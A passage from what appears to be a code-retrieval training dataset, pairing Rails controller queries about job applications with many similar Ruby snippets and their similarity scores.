"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def applications(options = {})\n @applications = api.get_applist if !@applications\n @applications\n end",
"def show\n @job_applications = @job_offer.job_applications.group_by(&:state)\n end",
"def get_applications\n\t\tApplication.where(\"api_user_id = ?\", id)\n\tend",
"def index\n @user_apps = UserApp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_apps }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def applications(params = {}) # rubocop:disable Style/OptionHash\n page_limit = params.delete(:page_limit) { 1 }\n\n applications_array = []\n 1.upto page_limit do |i|\n response = request_applications(params.merge(page: i))\n applications_array += response[\"applications\"]\n break if response[\"paginationComplete\"]\n end\n applications_array\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def applications\n get(PLURAL_PATH, RESOURCE)\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def application(job,params={})\n if (@application[extract_job(job)] && !params[:force])\n return @application[extract_job(job)]\n end\n @application[extract_job(job)] = get_application(job)\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def index\n @applications = Application.all\n end",
"def show\n \n @job = Job.find(params[:id])\n @application = Application.find(:first,:conditions=>['job_id=? and user_id=?',@job.id,current_user.id]) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def index\n @app = App.new\n @apps = App.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def show\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def index\n @client_applications = ClientApplication.all\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @job_applications = JobApplication.all\n @posts = Post.all\n end",
"def create\n @jobapp = Jobapp.new(jobapp_params)\n\n if @jobapp.save\n flash[:success] = \"Jobapp was successfully created.\"\n redirect_to action: \"index\"\n else\n @jobapps = Jobapp.all\n\n render :new, locals: {jobapp: @jobapp,jobapps: @jobapps}\n end\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @users = User.find :all\n @job_postings = JobPosting.find :all\n \n respond_to do |format|\n if @job_application.save\n flash[:notice] = 'JobApplication was successfully created.'\n format.html { redirect_to(@job_application) }\n format.xml { render :xml => @job_application, :status => :created, :location => @job_application }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def new\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def index\n @applicant_jobs = ApplicantJob.all\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list()\n path = \"/query/apps\"\n conn = multipart_connection(port: 8060)\n response = conn.get path\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if current_user.admin\n @planning_applications = PlanningApplication.all\n else\n @planning_applications = current_user.planning_applications\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @planning_applications }\n end\n end",
"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def applist(options:)\n path = \"/query/apps\"\n response = nil\n multipart_connection(port: 8060) do |conn|\n response = conn.get path\n end\n\n if response.success?\n regexp = /id=\"([^\"]*)\"\\stype=\"([^\"]*)\"\\sversion=\"([^\"]*)\">([^<]*)</\n apps = response.body.scan(regexp)\n printf(\"%30s | %10s | %10s | %10s\\n\", \"title\", \"id\", \"type\", \"version\")\n printf(\"---------------------------------------------------------------------\\n\")\n apps.each do |app|\n printf(\"%30s | %10s | %10s | %10s\\n\", app[3], app[0], app[1], app[2])\n end\n end\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def show\n @vacancy = Vacancy.find(params[:id])\n @new = JobApplication.where(state: \"send\", vacancy_id: @vacancy.id).includes(:user)\n @forwarded = JobApplication.where(state: \"manager_review\", vacancy_id: @vacancy.id).includes(:user)\n @reviewed = JobApplication.where(state: \"manager_review_listed\", vacancy_id: @vacancy.id).includes(:user)\n @employed = JobApplication.where(state: \"employed\", vacancy_id: @vacancy.id).includes(:user)\n @rejected = JobApplication.where(state: \"rejected\", vacancy_id: @vacancy.id).includes(:user)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def find_kapp_webhook_jobs(kapp_slug, params={}, headers=default_headers)\n @logger.info(\"Finding webhook jobs in the \\\"#{kapp_slug}\\\" Kapp\")\n get(\"#{@api_url}/kapps/#{kapp_slug}/webhookJobs\", params, headers)\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @application = Application.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def show\n render json: @job\n end",
"def show\n render json: @job\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end"
] | [
"0.7649894",
"0.764502",
"0.7387177",
"0.73761916",
"0.7342064",
"0.7204362",
"0.7185809",
"0.7047377",
"0.7020832",
"0.70059836",
"0.6856699",
"0.68265283",
"0.68219966",
"0.6801303",
"0.6795594",
"0.6754994",
"0.67336607",
"0.67336607",
"0.672512",
"0.67169476",
"0.67136806",
"0.6697716",
"0.6677746",
"0.6669978",
"0.6618118",
"0.6612568",
"0.66002053",
"0.65791374",
"0.6574756",
"0.6509809",
"0.6483647",
"0.6470174",
"0.64592236",
"0.6447486",
"0.6426561",
"0.64246017",
"0.64227676",
"0.64222014",
"0.6399091",
"0.63741344",
"0.6360185",
"0.6360185",
"0.6360185",
"0.6360185",
"0.6360185",
"0.6360185",
"0.6360185",
"0.6355318",
"0.6353967",
"0.6353967",
"0.63410056",
"0.63360125",
"0.6332732",
"0.6297739",
"0.6294547",
"0.6291352",
"0.62875706",
"0.62869674",
"0.6276377",
"0.6264377",
"0.62528515",
"0.6245957",
"0.6242815",
"0.6238095",
"0.6238095",
"0.6238095",
"0.6238095",
"0.62100667",
"0.6199919",
"0.619839",
"0.61905",
"0.61896265",
"0.61795616",
"0.6147307",
"0.6139489",
"0.61387336",
"0.61322206",
"0.6121927",
"0.61142814",
"0.6104679",
"0.6102175",
"0.6100711",
"0.6091134",
"0.60733855",
"0.60733855",
"0.6068806",
"0.6067896",
"0.60648894",
"0.6060771",
"0.60519403",
"0.6050781",
"0.6050699",
"0.60434586",
"0.60433775",
"0.6042249",
"0.6042249",
"0.6037681",
"0.60324806",
"0.60324806",
"0.6024677"
] | 0.60550916 | 89 |
GET /job_applications/1 GET /job_applications/1.json | def show
@skip_footer_for_home = true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @job_applications = JobApplication.all\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def show\n #@job_application = JobApplication.find(params[:id])\n\n #@user = User.find(params[:id])\n @job_application = current_user.job_applications #.page(params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_application }\n end\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def show\n @application = Application.find(params[:id])\n \n if @application.nil? or @application.job.nil?\n redirect_to \"/\", :alert=>\"You do not have access to this page\"\n return false\n end\n\n return unless appAccess?(@application.job.id)\n\n @job = @application.job\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def show\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def index\n @job_site_applications = JobSiteApplication.all\n end",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def index\n @user=current_user\n @jobapplications = @user.jobapplications\n end",
"def index\n @jobapps = Jobapp.all\n @jobapp = Jobapp.new\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def applications_list\n get \"applications\"\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def getApplications(ak)\n uri='https://api.newrelic.com/v2/applications.json'\n parseUrl=URI.parse(uri)\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def get_applications_of_project\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:project_id => Project.find_by_id(param[:id]))\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n end\n end",
"def index\n if current_user.role == 'employee'\n @job_applications_made = current_user.employee.job_applications\n else\n @job_applications = JobApplication.all\n end\n end",
"def index\n jobs = current_user.hr.jobs\n @applications = Array.new\n jobs.each do |job|\n job_faculties_map = Hash.new\n job_faculties_map[job] = Array.new\n if job.faculties.length > 0\n job.faculties.each do |faculty|\n job_faculties_map[job] << faculty\n end\n @applications << job_faculties_map\n end\n end\n @applications\n end",
"def show\n # @applicant_job_history = ApplicantJobHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applicant_job_history }\n end\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n \n @job = Job.find(params[:id])\n @application = Application.find(:first,:conditions=>['job_id=? and user_id=?',@job.id,current_user.id]) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def show\n @other_job_applications = @job_application.user.job_applications.where.not(id: @job_application.id)\n render layout: request.xhr? ? false : \"admin/simple\"\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end",
"def get_applications_of_user\n respond_to do |format|\n format.json {\n @project_applications = ProjectApplication.where(:user_id => @current_user.id)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @applications }\n end\n end",
"def get_job_status id\n response = get \"http://#{@host}/loadbalancers/tenant/#{@tenant}/jobs/#{id}\"\n raise LBModelException.new \"Expected HTTP 200 but got #{response.code} instead\" unless response.code == 200\n\n JSON.parse(response)\n end",
"def show\n render json: @job\n end",
"def show\n render json: @job\n end",
"def show\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end",
"def list_applications(client)\n client.applications.each do |application|\n puts \"Application: #{application.name}\"\n puts \" Description: #{application.description}\"\n puts \" Status: #{application.status}\"\n puts \" Href: #{application.href}\"\n end \nend",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def job_get(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def get_applist\n return get_response(\"applist\", :json)\n end",
"def show\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def index\n @jobs = Job.all\n if current_role == :admin\n @applications = Application.all\n elsif current_role == :recruiter\n @applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}\n else\n @applications = Application.all.select{|n| n.user_id==current_user.id}\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def application(job,params={})\n if (@application[extract_job(job)] && !params[:force])\n return @application[extract_job(job)]\n end\n @application[extract_job(job)] = get_application(job)\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def show\n @emp_job = EmpJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_job(id)\n conn = @client.get do |req|\n req.url \"/api/v2/job/#{id}\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end",
"def create\n @jobapp = Jobapp.new(jobapp_params)\n\n if @jobapp.save\n flash[:success] = \"Jobapp was successfully created.\"\n redirect_to action: \"index\"\n else\n @jobapps = Jobapp.all\n\n render :new, locals: {jobapp: @jobapp,jobapps: @jobapps}\n end\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n add_breadcrumb @job_application, @job_application\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def create\n @application = Application.new(params[:application])\n @application.job = Job.find(params[:id])\n respond_to do |format|\n if @application.save\n format.html { redirect_to '/', notice: 'Application was received.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if current_user.is_admin\n @applications = Application.all\n puts @applications\n elsif current_user.is_seeker\n @applications = Application.where(jobseeker_id: Jobseeker.find_by(user_id: current_user.id).id)\n elsif current_user.is_biz\n @applications = Application.where(job_id: Job.where(bizowner_id: Bizowner.find_by(user_id: current_user.id).id))\n end\n end",
"def index\n @applicant_jobs = ApplicantJob.all\n end",
"def show\n @job_applications = @job_offer.job_applications.group_by(&:state)\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def create\n @job = Job.find(params[:job_id])\n @application = Application.new(application_params)\n @application.job = @job\n @application.user = current_user\n\n if @application.save\n redirect_to developers_applications_path\n else\n redirect_to job_path(@job)\n end\n end",
"def applications\n Application.from session.get 'operations/application', API_V1\n end"
] | [
"0.73992616",
"0.7387969",
"0.7181728",
"0.716288",
"0.70688754",
"0.705798",
"0.6846004",
"0.6846004",
"0.6843619",
"0.6792671",
"0.67818606",
"0.67695767",
"0.67623425",
"0.6675928",
"0.6674146",
"0.66518587",
"0.66145766",
"0.6613072",
"0.6604981",
"0.6604981",
"0.6604981",
"0.6604981",
"0.6604981",
"0.6604981",
"0.6604981",
"0.65901273",
"0.6583199",
"0.65771806",
"0.65771806",
"0.655531",
"0.65489894",
"0.6488651",
"0.64790004",
"0.645973",
"0.64572877",
"0.64530987",
"0.6452256",
"0.64513624",
"0.6446107",
"0.64457756",
"0.6437843",
"0.64320064",
"0.6426409",
"0.64031804",
"0.63951266",
"0.63908976",
"0.63536763",
"0.63515157",
"0.6346517",
"0.63399965",
"0.6335482",
"0.6334381",
"0.6327126",
"0.6316358",
"0.6314962",
"0.63098705",
"0.630984",
"0.630984",
"0.630984",
"0.630984",
"0.630984",
"0.63004047",
"0.62810034",
"0.62699074",
"0.62699074",
"0.6250924",
"0.6249985",
"0.62486225",
"0.62430066",
"0.62382793",
"0.6229881",
"0.6228599",
"0.62180567",
"0.6218007",
"0.6210132",
"0.620425",
"0.6199619",
"0.6195246",
"0.61903554",
"0.61903554",
"0.61862034",
"0.61661774",
"0.61542",
"0.6143459",
"0.61285275",
"0.6118332",
"0.6105681",
"0.6100516",
"0.60974354",
"0.60970455",
"0.6091213",
"0.60894614",
"0.60837954",
"0.607737",
"0.6076722",
"0.60713714",
"0.60556453",
"0.60556453",
"0.6051072",
"0.6050064",
"0.60477734"
] | 0.0 | -1 |
POST /job_applications POST /job_applications.json | def create
if current_user.job_applications.where(job_id: params[:job_application][:job_id]).count > 0
respond_to do |format|
